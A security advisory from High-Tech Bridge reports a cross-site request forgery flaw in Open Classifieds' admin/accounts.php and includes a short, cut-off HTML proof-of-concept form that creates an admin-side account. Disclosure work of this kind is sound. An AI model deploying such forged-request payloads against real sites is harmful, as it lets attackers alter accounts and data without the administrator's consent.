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HTB22980: XSRF (CSRF) in Open Classifieds

Vulnerability ID: HTB22980
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_classifieds.html
Product: Open Classifieds
Vendor: Open Classifieds Team ( http://www.open-classifieds.com/ ) 
Vulnerable Version: and probably prior versions
Vendor Notification: 28 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin/accounts.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/accounts.php"; method="post" name="main">
<input type="hidden" name="name" value="myaccount">
<input type="hidden" name="email" value="email@xxxxxxxxxxx">
<input type="hidden" name="account" value="">
<input type="hidden" name="action" value="new">